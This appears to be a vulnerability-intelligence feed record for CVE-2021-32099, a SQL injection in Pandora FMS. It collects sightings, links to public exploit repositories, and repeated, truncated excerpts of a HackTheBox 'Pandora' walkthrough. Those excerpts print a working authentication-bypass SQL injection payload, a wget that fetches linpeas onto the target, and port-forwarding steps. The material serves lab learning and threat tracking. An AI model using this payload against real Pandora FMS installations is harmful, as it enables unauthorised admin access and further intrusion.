{"vulnerability": "cve-2021-32099", "sightings": [{"uuid": "dcb4940b-0ade-422d-a2a2-991321582314", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32099", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:01:15.000000Z"}, {"uuid": "99aa14d0-b7a2-4277-a8b2-6a730a7ce4c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32099", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:12:51.000000Z"}, {"uuid": "861f0349-cb82-465c-aeda-7b312855f4d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32099", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/1372", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-32099 SQLi allow attacker bypass login\nURL\uff1ahttps://github.com/l3eol3eo/CVE-2021-32099_SQLi", "creation_timestamp": "2022-01-21T02:48:52.000000Z"}, {"uuid": "dcea44b2-4539-40ad-b75b-bb0f76f45a92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32099", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/1361", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aExploit for CVE-2021-32099 \nURL\uff1ahttps://github.com/nikn0laty/CVE-2021-32099_exploit", "creation_timestamp": "2022-01-18T19:32:02.000000Z"}, {"uuid": "293d51e5-bcea-4a89-aabb-470779d99c63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32099", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/1306", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-32099\nURL\uff1ahttps://github.com/ibnuuby/CVE-2021-32099", "creation_timestamp": "2022-01-12T11:52:29.000000Z"}, {"uuid": "16f5806a-d6fa-4cac-8e60-eafeeafc9265", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32099", "type": "published-proof-of-concept", "source": "Telegram/-mv-9r5Fuiz_fiqs8bK_eK_PiWqfYGbNPnIRzDzssIknfHA", "content": "", "creation_timestamp": "2025-07-18T21:00:08.000000Z"}, {"uuid": "483635db-2107-45d9-945d-71a31b60428d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32099", "type": "published-proof-of-concept", "source": "https://t.me/arm1tage/129", "content": "HackTheBox:\n\n\u2014Easy Machines\u2014\n\nDriver - WinRM (evil-winrm), printnightmare CVE-2021-1675 (https://habr.com/ru/sandbox/156538/)\nhttps://0xdf.gitlab.io/2022/02/26/htb-driver.html\n\nSecret - JWT, Git source (tig), crush-dumps\nhttps://0xdf.gitlab.io/2022/03/26/htb-secret.html\n\nBackDoor - Wordpress eBook Dir Trav (https://www.exploit-db.com/exploits/39575), gdb exploit (https://www.exploit-db.com/exploits/50539, https://www.rapid7.com/db/modules/exploit/multi/gdb/gdb_server_exec/) \nhttps://0xdf.gitlab.io/2022/04/23/htb-backdoor.html\n\nPrevise - Backup, Site Reverse Shell, low-encrypted passwords\nhttps://0xdf.gitlab.io/2022/01/08/htb-previse.html\n\nBountyHunter - XXE, (root) NOPASSWD python code\nhttps://0xdf.gitlab.io/2021/11/20/htb-bountyhunter.html\n\nHorizontal - Strapi CMS 3.0.0 CVE-2019-18818/CVE-2019-19609 (https://www.exploit-db.com/exploits/50239, https://github.com/diego-tella/CVE-2019-19609-EXPLOIT), Laravel v8 (https://www.exploit-db.com/exploits/49424)\nhttps://0xdf.gitlab.io/2022/02/05/htb-horizontall.html\n\nOptimum - Windows 2012 (https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec/, https://www.rapid7.com/db/modules/exploit/windows/local/ms16_032_secondary_logon_handle_privesc/)\nhttps://0xdf.gitlab.io/2021/03/17/htb-optimum.html\n\nLame - FTP Anonymous, SAMBA exploit (https://github.com/amriunix/CVE-2007-2447)\nhttps://0xdf.gitlab.io/2020/04/07/htb-lame.html\n\nJerry - Tomcat Default Cred, shell via .WAR\nhttps://0xdf.gitlab.io/2018/11/17/htb-jerry.html\n\nBlue - Win7 eternalblue (https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/)\nhttps://0xdf.gitlab.io/2021/05/11/htb-blue.html\n\nDevel - Microsoft IIS httpd 7.5 reverse shell via .ASPX, MS11-046 or ms10_015_kitrap0d (https://github.com/abatchy17/WindowsExploits/tree/master/MS11-046)\nhttps://0xdf.gitlab.io/2019/03/05/htb-devel.html\n\nNetmon - PRTG Network Monitor 18.1.37.13946, Backup credentials, CVE-2018-9276 (https://github.com/A1vinSmith/CVE-2018-9276) / (https://www.exploit-db.com/exploits/46527) + evil-winrm\nhttps://0xdf.gitlab.io/2019/06/29/htb-netmon.html\n\nExplore (Android) - 59777 port CVE-2019-6447 (https://www.exploit-db.com/exploits/50070), SSH Creds on Photo, adb shell\nhttps://0xdf.gitlab.io/2021/10/30/htb-explore.html\n\nAntique - Telnet password via snmpget (https://www.irongeek.com/i.php?page=security/networkprinterhacking#JetDirect%20password%20notes), CUPS 1.6.1 (https://github.com/jpillora/chisel) \nhttps://0xdf.gitlab.io/2022/05/03/htb-antique.html\n\nReturn - evil-winrm, Server Operators in net user svc-printer /domain, sc.exe\nhttps://0xdf.gitlab.io/2022/05/05/htb-return.html\n\nGrandpa - CVE-2017-7269 (https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl/), SEImpersonalPrivilege Churrasco (https://github.com/Re4son/Churrasco/)\nhttps://0xdf.gitlab.io/2020/05/28/htb-grandpa.html\n\nBeep - ShellShock or Elastix 2.2.0 - 'graph.php' Local File Inclusion, (root) NOPASSWD nmap\nhttps://0xdf.gitlab.io/2021/02/23/htb-beep.html\n\nPandora - snmpwalk creds, CVE-2021-32099, Site Reverse Shell\nhttps://0xdf.gitlab.io/2022/05/21/htb-pandora.html\n\nPaper - WPS 5.2.3 - Cve-2019-17671 (https://www.exploit-db.com/exploits/47690, https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/), Chat Bot Dir Trav, CVE-2021-3560 (https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py)\nhttps://0xjin.medium.com/paper-hackthebox-write-up-2abca22d3b54\n\n\n#hackthebox #ctf", "creation_timestamp": "2022-06-18T10:22:36.000000Z"}, {"uuid": "f21da698-f0e1-460c-bdd8-1ba565f36558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32099", "type": "seen", "source": "https://t.me/hacking_Attack/81242", "content": "linpeas.sh in the target /tmp directory and gave execute permission with chmod 777 and simply executed.\ncd /tmp\nwget 10.10.14.3/linpeas.sh\nchmod 777 linpeas.sh\n./linpeas.sh \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieY8gDAt-YQtA5xLQEA7pHD8EqSIan2sbOQ5ZNYDYxmangWH191K4wCrb-dB8TWI-aILbyoK1VFDukN98skvdB6gYYXchGWhr5zqz-F_IseMSyH79Z_YwAIxwvmTAJf-XZevOdf9Jx8rwNyN79jBjBKNs7wftFy6mwvJobhS_Z9SiPJo3pun7ZyHzwng/s16000/6_1.png?w=640&ssl=1 \n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpkT9BtNTPTAopP1c3HZh2aTG-y9FKqv_QyEeAYG4sDddXusJqzBlnk-Ub8YgamgtJQqEvXRwrX13MV9re10xDubJJ21EjF9ibK38SD0vQVJAX-mE5PSgpqJ69iAxxQaX4oTACjxaa0CdmTxtdT1o5HXbpN0IdEJs9u61Tu1nLvDZHlOZzg71SMphZpQ/s16000/6_2.png?w=640&ssl=1 \n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS54nArAAM0A9bfjOkXXTJIoc_WW4ZmDQ8c6ehvTP6iRKGm1f2ZtS1CsV8VuZjTUChPWdykevkGK_FlFgp-1WjvGyWSo8m2xWfgBVBOpIURlbzOpa_n3PmFUigX9G4F_-TfUwF-p4g1acjqeFAcCumE58VGVSJwA61Fes_U9RWmI_khhredSt59GArkA/s16000/6_3.png?w=640&ssl=1 \n\nFrom the linpeas result, we noticed a SUID pandora_backup is there which is an uncommon system binary, so we decided to find out more about it. Owner of this file is root, but matt has execution permission. Also, the web is hosted on an internal server which is only accessible from the internal port which means we cannot access it directly from our Kali machine but if we manage to forward its local host port to our kali machine then we can access it. If we give a closer look at the picture above, pandora.panda.htb is running on port 80 which is hosted from /var/www/pandora. Additionally, we can also assume it by checking the config file in which is available in the /etc/apache2/sites-enabled directory. Port ForwardingAs we know there is a service running on local port 80. We decided to use the local port forwarding technique here. It can be done from kali machine if we have valid credentials.\nssh -L 8084:localhost:80 -N -f -l daniel 10.129.26.243 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhilHFfQkXLNAtfjn9fG6-P8cUJXicHlOsPvjLP2NSeeYpXJ97LKgYq5TRPW0aQxzR3U6E1xxAWpnyBXMpEHwkp4tnCZ99vsgM6J_XRzkAAVA6lUevQhz6OcVnUxFOj4fB37n8pjaOL4mkgJ3_I3qpa-LR-jKCIb8rsS16i0UVPiezmW2DpMq2_SRkyXg/s16000/7.png?w=640&ssl=1 \n\nFlags features:\n\n-L\u00a0\u00a0 : Listening port on Kali\n\n-N\u00a0\u00a0 : Do not execute any remote command\n\n-f\u00a0\u00a0 : Run in the background\n\n-l\u00a0 : Username \n\nAfter local port forwarding, we can access the service which was running on the target internal port. An interesting finding came up and lead us to the pandora login console.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghsy1UZE8TIw4fIUx4ngqaDh6-PuvCsGiB-zoY-Hd9TYmxqJ-reNUDdb5tyQBY8o1UWKQEYMLaEryd30rujCjvfjbBeG2g7n8BVlgfgcEna8l6VXSioLB2dkDw_znkWWcw0KzoKckZghQG-VPIQyhwyMBmakGQQQac9m5_aym9wxKw-0Rdc9Zxhkgy5Q/s16000/8.png?w=640&ssl=1 \n\nWhile enumerating the console we found a CMS with version is there on the right bottom side of the page: v7.0NG.742_FIX_PERL2020.\nhttp://localhost:8084/pandora_console/ \nAfter a few searches on google, we found Pandora FMS 742 is vulnerable to SQL injection. Detail information about the vulnerability can be found below: https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained CVE-2021-32099 SQL Injection ExploitationThe blog had detailed information about the vulnerability but no POC or exploit code was available then we search for the CVE number so we can expand and filter our search on google to find out the exact resource that we are looking for. We found CVE-2021-32099 belongs to this vulnerability and found an exploit encoded POC in the Github.\n\nReference: https://github.com/ibnuuby/CVE-2021-32099\n\nWe decoded the URL and tested this payload against the target. Decoded payload:http://localhost:8084/pandora_console/include/chart_generator.php?session_id=a' UNION SELECT 'a',1,'id_usuario|s:5:\"admin\";' as data FROM tsessions_php WHERE '1'='1 \nhttps://i0.wp.com/blogge[...]", "creation_timestamp": "2026-09-01T20:01:12.836533Z"}, {"uuid": "85ed03a0-2630-44bf-a043-85329002bbd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32099", "type": "seen", "source": "https://t.me/hacking_Attack/80922", "content": "Hacking Articles|Raj Chandel's Blog\nPandora HackTheBox Walkthrough\n\nSummaryPandora is Linux machine and considered as easy box by the hack the box but indeed it is not. With this box we will need to perform other port scan instead of being relied on only TCP ports results. Then we will dig about SNMP protocol and find out a very interesting information for us which will lead us to initial foothold to the target machine. Then we will need to perform Horizontal privilege escalation and local port forward to enumerate service running on target\u2019s internal port. Then we will exploit the admin console which is vulnerable to the SQL injection and upload malicious file to get a reverse shell as a different user. In the post exploitation phase, we will abuse SUID binary using path hijacking technique. <o:pTable of content<o:pInitial Access<o:p\n\n* TCP Port Scan<o:p\n* Enumeration<o:p\n* UDP Port Scan <o:p\n* SNMP Enumeration<o:p\n* User Shell as Daniel<o:p Horizontal Privilege Escalation<o:p\n\n* Enumeration<o:p\n* Port Forwarding<o:p\n* CVE-2021-32099 SQL injection Exploitation<o:p\n* File Upload <o:p\n* User Flag<o:p Privilege Escalation<o:p\n\n* SSH Key Generate<o:p\n* SUID Path hijack<o:p\n* Root Flag<o:p\n\nLet\u2019s exploit it step by step.<o:p Initial Access<o:pWe are going to start assessment with the TCP/IP port scanning.<o:p TCP Port Scan<o:pLet\u2019s start with the port scan. We are using nmap to find out which ports are open so we can begin our port and service analyse. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used -sCand -sVflags. <o:p\n\nFlags features:<o:p -sC: Scans with default NSE scripts<o:p -sV:\u00a0 Attempts to determine the service version<o:p Command used:<o:pnmap\u00a0 -sC -sV 10.129.26.243<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggzEIOKKimE5TO1DEb1dOq1Ced9FfQ8yxFD_3qWtKitCIJhWX73NUNykwZV7qG1H-x_YZDGqQUagpjMCzorKJ21k4vkmh0BpM-cE_7qwPmeJqdTSS6qnmxwZZS_G7u7H8Yo9JH29XA5s1FfDUDZ1OYwTDsn7XrGgKuTEqOMd_S_PcwtYX0p40Yx7uoPg/s16000/1.png From the nmap scan, we have found there were only two ports open, which is port 80and port 22. As usual HTTP serviceis running on port 80 and the SSH service is running on port 22. Http service is used for the webhosting and the SSH service is used for remote connection. SSH version is latest and does not look like vulnerable and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to. Instead of thinking about the SSH bruteforce let\u2019s start enumerating port 80. <o:p Enumeration<o:pWe begin enumeration by accessing port 80 over browser. Webpage does not have much interesting things, but we can see domain name is available there which is Panda.htb. Next thing we can analyse what this website made for, and it does. Remember every website is created for some purpose with this mindset we assumed this website is serving games and the network monitoring solutions. <o:p URL: htttp://10.129.26.243https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqOXWdV-BU1atzeRt_jEHloQrnFNDjLuJdrer05e-OY-zJLwxnjpbd6eh5rRxVbDgjc4X2nY6E8cORDvyAy9Byn5GXrVPpmSRCvWYfWsEQjrWdLHx7zE2YZ7jg8Nb4uth35ULKEDAESt0ykZNiU1JxQKNh0ZdhBmJTZtsR5R84ZAL31y40rjRBwcMVug/s16000/2.png UDP Port Scan <o:pGot stuck for some time as we did not get any lead to get foothold into the target system, we decided to perform an UDP port scan. When we do normal nmap scan, it only scans TCP ports but not UDP so many time UDP port may lead us to interesting findings. After the completion of the UDP port scan we found that SNMPport is open on its default port which is port 161. Now we can go for the[...]", "creation_timestamp": "2026-09-01T20:01:13.344775Z"}, {"uuid": "51fd187a-b580-46ed-ac6d-20c914ae2725", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32099", "type": "seen", "source": "https://t.me/hacking_Attack/81238", "content": "Hacking Articles\nPandora HackTheBox Walkthrough\n\nSummaryPandora is a Linux machine and is considered an easy box by the hack the box but indeed it is not. With this box, we will need to perform another port scan instead of being relied on only TCP ports results. Then we will dig into SNMP protocol and find out very interesting information for us which will lead us to an initial foothold to the target machine. Then we will need to perform Horizontal privilege escalation and local port forward to enumerate service running on the target\u2019s internal port. Then we will exploit the admin console which is vulnerable to SQL injection and upload a malicious file to get a reverse shell as a different user. In the post-exploitation phase, we will abuse the SUID binary using path hijacking technique. Table of ContentInitial Access\n\n* TCP Port Scan\n* Enumeration\n* UDP Port Scan\n* SNMP Enumeration\n* User Shell as Daniel\n\nHorizontal Privilege Escalation\n\n* Enumeration\n* Port Forwarding\n* CVE-2021-32099 SQL injection Exploitation\n* File Upload\n* User Flag\n\nPrivilege Escalation\n\n* SSH Key Generate\n* SUID Path hijack\n* Root Flag\n\nLet\u2019s exploit it step by step. Initial AccessWe are going to start the assessment with the TCP/IP port scanning. TCP Port ScanLet\u2019s start with the port scan. We are using nmap to find out which ports are open so we can begin our port and service analyse. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used -sC and -sV flags.\n\nFlags features:\n\n-sC\u00a0\u00a0 : Scans with default NSE scripts\n\n-sV\u00a0\u00a0 :\u00a0 Attempts to determine the service version\n\nCommand used:\nnmap -sC -sV 10.129.26.243 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggzEIOKKimE5TO1DEb1dOq1Ced9FfQ8yxFD_3qWtKitCIJhWX73NUNykwZV7qG1H-x_YZDGqQUagpjMCzorKJ21k4vkmh0BpM-cE_7qwPmeJqdTSS6qnmxwZZS_G7u7H8Yo9JH29XA5s1FfDUDZ1OYwTDsn7XrGgKuTEqOMd_S_PcwtYX0p40Yx7uoPg/s16000/1.png?w=640&ssl=1 \n\nFrom the nmap scan, we have found there were only two ports open, which are port 80 and port 22. As usual HTTP service is running on port 80 and the SSH service is running on port 22. Http service is used for Webhosting and the SSH service is used for remote connection. SSH version is the latest and does not look vulnerable and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to. Instead of thinking about the SSH bruteforce let\u2019s start enumerating port 80. EnumerationWe begin enumeration by accessing port 80 over the browser. The webpage does not have many interesting things, but we can see the domain name is available there which is Panda.htb. Next thing we can analyse what this website is made for, and what it does. Remember every website is created for some purpose with this mindset we assumed this website is serving games and network monitoring solutions.\nhtttp://10.129.26.243 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqOXWdV-BU1atzeRt_jEHloQrnFNDjLuJdrer05e-OY-zJLwxnjpbd6eh5rRxVbDgjc4X2nY6E8cORDvyAy9Byn5GXrVPpmSRCvWYfWsEQjrWdLHx7zE2YZ7jg8Nb4uth35ULKEDAESt0ykZNiU1JxQKNh0ZdhBmJTZtsR5R84ZAL31y40rjRBwcMVug/s16000/2.png?w=640&ssl=1 UDP Port Scan Got stuck for some time as we did not get any lead to get a foothold into the target system, we decided to perform a UDP port scan. When we do a normal nmap scan, it only scans TCP ports but not UDP so many time UDP ports may lead us to interesting findings. After the completion of the UDP port scan, we found that SNMP port is open on its default port which is port 161. Now we can go for further enumeration against the SNMP port but let\u2019s talk about SNMP first.\n\nWhat is SNMP and what it is used for?\n\nSimple Network Management Protocol (SNMP) is a networking protocol used for the monitoring and management of the network-connected end devices in the internet protocol netwo[...]", "creation_timestamp": "2026-09-01T20:01:13.182021Z"}, {"uuid": "e4110c99-b4bb-43ae-b6ea-1989852fa193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32099", "type": "seen", "source": "https://t.me/hacking_Attack/81238", "content": "Hacking Articles\nPandora HackTheBox Walkthrough\n\nSummaryPandora is a Linux machine and is considered an easy box by the hack the box but indeed it is not. With this box, we will need to perform another port scan instead of being relied on only TCP ports results. Then we will dig into SNMP protocol and find out very interesting information for us which will lead us to an initial foothold to the target machine. Then we will need to perform Horizontal privilege escalation and local port forward to enumerate service running on the target\u2019s internal port. Then we will exploit the admin console which is vulnerable to SQL injection and upload a malicious file to get a reverse shell as a different user. In the post-exploitation phase, we will abuse the SUID binary using path hijacking technique. Table of ContentInitial Access\n\n* TCP Port Scan\n* Enumeration\n* UDP Port Scan\n* SNMP Enumeration\n* User Shell as Daniel\n\nHorizontal Privilege Escalation\n\n* Enumeration\n* Port Forwarding\n* CVE-2021-32099 SQL injection Exploitation\n* File Upload\n* User Flag\n\nPrivilege Escalation\n\n* SSH Key Generate\n* SUID Path hijack\n* Root Flag\n\nLet\u2019s exploit it step by step. Initial AccessWe are going to start the assessment with the TCP/IP port scanning. TCP Port ScanLet\u2019s start with the port scan. We are using nmap to find out which ports are open so we can begin our port and service analyse. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used -sC and -sV flags.\n\nFlags features:\n\n-sC\u00a0\u00a0 : Scans with default NSE scripts\n\n-sV\u00a0\u00a0 :\u00a0 Attempts to determine the service version\n\nCommand used:\nnmap -sC -sV 10.129.26.243 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggzEIOKKimE5TO1DEb1dOq1Ced9FfQ8yxFD_3qWtKitCIJhWX73NUNykwZV7qG1H-x_YZDGqQUagpjMCzorKJ21k4vkmh0BpM-cE_7qwPmeJqdTSS6qnmxwZZS_G7u7H8Yo9JH29XA5s1FfDUDZ1OYwTDsn7XrGgKuTEqOMd_S_PcwtYX0p40Yx7uoPg/s16000/1.png?w=640&ssl=1 \n\nFrom the nmap scan, we have found there were only two ports open, which are port 80 and port 22. As usual HTTP service is running on port 80 and the SSH service is running on port 22. Http service is used for Webhosting and the SSH service is used for remote connection. SSH version is the latest and does not look vulnerable and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to. Instead of thinking about the SSH bruteforce let\u2019s start enumerating port 80. EnumerationWe begin enumeration by accessing port 80 over the browser. The webpage does not have many interesting things, but we can see the domain name is available there which is Panda.htb. Next thing we can analyse what this website is made for, and what it does. Remember every website is created for some purpose with this mindset we assumed this website is serving games and network monitoring solutions.\nhtttp://10.129.26.243 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqOXWdV-BU1atzeRt_jEHloQrnFNDjLuJdrer05e-OY-zJLwxnjpbd6eh5rRxVbDgjc4X2nY6E8cORDvyAy9Byn5GXrVPpmSRCvWYfWsEQjrWdLHx7zE2YZ7jg8Nb4uth35ULKEDAESt0ykZNiU1JxQKNh0ZdhBmJTZtsR5R84ZAL31y40rjRBwcMVug/s16000/2.png?w=640&ssl=1 UDP Port Scan Got stuck for some time as we did not get any lead to get a foothold into the target system, we decided to perform a UDP port scan. When we do a normal nmap scan, it only scans TCP ports but not UDP so many time UDP ports may lead us to interesting findings. After the completion of the UDP port scan, we found that SNMP port is open on its default port which is port 161. Now we can go for further enumeration against the SNMP port but let\u2019s talk about SNMP first.\n\nWhat is SNMP and what it is used for?\n\nSimple Network Management Protocol (SNMP) is a networking protocol used for the monitoring and management of the network-connected end devices in the internet protocol netwo[...]", "creation_timestamp": "2026-09-02T01:01:29.881219Z"}, {"uuid": "c2f34b67-cc4a-4d9f-b4e8-ce3387ec67a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32099", "type": "seen", "source": "https://t.me/hacking_Attack/81242", "content": "linpeas.sh in the target /tmp directory and gave execute permission with chmod 777 and simply executed.\ncd /tmp\nwget 10.10.14.3/linpeas.sh\nchmod 777 linpeas.sh\n./linpeas.sh \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieY8gDAt-YQtA5xLQEA7pHD8EqSIan2sbOQ5ZNYDYxmangWH191K4wCrb-dB8TWI-aILbyoK1VFDukN98skvdB6gYYXchGWhr5zqz-F_IseMSyH79Z_YwAIxwvmTAJf-XZevOdf9Jx8rwNyN79jBjBKNs7wftFy6mwvJobhS_Z9SiPJo3pun7ZyHzwng/s16000/6_1.png?w=640&ssl=1 \n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpkT9BtNTPTAopP1c3HZh2aTG-y9FKqv_QyEeAYG4sDddXusJqzBlnk-Ub8YgamgtJQqEvXRwrX13MV9re10xDubJJ21EjF9ibK38SD0vQVJAX-mE5PSgpqJ69iAxxQaX4oTACjxaa0CdmTxtdT1o5HXbpN0IdEJs9u61Tu1nLvDZHlOZzg71SMphZpQ/s16000/6_2.png?w=640&ssl=1 \n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS54nArAAM0A9bfjOkXXTJIoc_WW4ZmDQ8c6ehvTP6iRKGm1f2ZtS1CsV8VuZjTUChPWdykevkGK_FlFgp-1WjvGyWSo8m2xWfgBVBOpIURlbzOpa_n3PmFUigX9G4F_-TfUwF-p4g1acjqeFAcCumE58VGVSJwA61Fes_U9RWmI_khhredSt59GArkA/s16000/6_3.png?w=640&ssl=1 \n\nFrom the linpeas result, we noticed a SUID pandora_backup is there which is an uncommon system binary, so we decided to find out more about it. Owner of this file is root, but matt has execution permission. Also, the web is hosted on an internal server which is only accessible from the internal port which means we cannot access it directly from our Kali machine but if we manage to forward its local host port to our kali machine then we can access it. If we give a closer look at the picture above, pandora.panda.htb is running on port 80 which is hosted from /var/www/pandora. Additionally, we can also assume it by checking the config file in which is available in the /etc/apache2/sites-enabled directory. Port ForwardingAs we know there is a service running on local port 80. We decided to use the local port forwarding technique here. It can be done from kali machine if we have valid credentials.\nssh -L 8084:localhost:80 -N -f -l daniel 10.129.26.243 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhilHFfQkXLNAtfjn9fG6-P8cUJXicHlOsPvjLP2NSeeYpXJ97LKgYq5TRPW0aQxzR3U6E1xxAWpnyBXMpEHwkp4tnCZ99vsgM6J_XRzkAAVA6lUevQhz6OcVnUxFOj4fB37n8pjaOL4mkgJ3_I3qpa-LR-jKCIb8rsS16i0UVPiezmW2DpMq2_SRkyXg/s16000/7.png?w=640&ssl=1 \n\nFlags features:\n\n-L\u00a0\u00a0 : Listening port on Kali\n\n-N\u00a0\u00a0 : Do not execute any remote command\n\n-f\u00a0\u00a0 : Run in the background\n\n-l\u00a0 : Username \n\nAfter local port forwarding, we can access the service which was running on the target internal port. An interesting finding came up and lead us to the pandora login console.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghsy1UZE8TIw4fIUx4ngqaDh6-PuvCsGiB-zoY-Hd9TYmxqJ-reNUDdb5tyQBY8o1UWKQEYMLaEryd30rujCjvfjbBeG2g7n8BVlgfgcEna8l6VXSioLB2dkDw_znkWWcw0KzoKckZghQG-VPIQyhwyMBmakGQQQac9m5_aym9wxKw-0Rdc9Zxhkgy5Q/s16000/8.png?w=640&ssl=1 \n\nWhile enumerating the console we found a CMS with version is there on the right bottom side of the page: v7.0NG.742_FIX_PERL2020.\nhttp://localhost:8084/pandora_console/ \nAfter a few searches on google, we found Pandora FMS 742 is vulnerable to SQL injection. Detail information about the vulnerability can be found below: https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained CVE-2021-32099 SQL Injection ExploitationThe blog had detailed information about the vulnerability but no POC or exploit code was available then we search for the CVE number so we can expand and filter our search on google to find out the exact resource that we are looking for. We found CVE-2021-32099 belongs to this vulnerability and found an exploit encoded POC in the Github.\n\nReference: https://github.com/ibnuuby/CVE-2021-32099\n\nWe decoded the URL and tested this payload against the target. Decoded payload:http://localhost:8084/pandora_console/include/chart_generator.php?session_id=a' UNION SELECT 'a',1,'id_usuario|s:5:\"admin\";' as data FROM tsessions_php WHERE '1'='1 \nhttps://i0.wp.com/blogge[...]", "creation_timestamp": "2026-09-02T01:01:29.531679Z"}, {"uuid": "389f37d2-9cb2-44fc-821e-c19493f32a4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-32099", "type": "seen", "source": "https://t.me/hacking_Attack/80922", "content": "Hacking Articles|Raj Chandel's Blog\nPandora HackTheBox Walkthrough\n\nSummaryPandora is Linux machine and considered as easy box by the hack the box but indeed it is not. With this box we will need to perform other port scan instead of being relied on only TCP ports results. Then we will dig about SNMP protocol and find out a very interesting information for us which will lead us to initial foothold to the target machine. Then we will need to perform Horizontal privilege escalation and local port forward to enumerate service running on target\u2019s internal port. Then we will exploit the admin console which is vulnerable to the SQL injection and upload malicious file to get a reverse shell as a different user. In the post exploitation phase, we will abuse SUID binary using path hijacking technique. <o:pTable of content<o:pInitial Access<o:p\n\n* TCP Port Scan<o:p\n* Enumeration<o:p\n* UDP Port Scan <o:p\n* SNMP Enumeration<o:p\n* User Shell as Daniel<o:p Horizontal Privilege Escalation<o:p\n\n* Enumeration<o:p\n* Port Forwarding<o:p\n* CVE-2021-32099 SQL injection Exploitation<o:p\n* File Upload <o:p\n* User Flag<o:p Privilege Escalation<o:p\n\n* SSH Key Generate<o:p\n* SUID Path hijack<o:p\n* Root Flag<o:p\n\nLet\u2019s exploit it step by step.<o:p Initial Access<o:pWe are going to start assessment with the 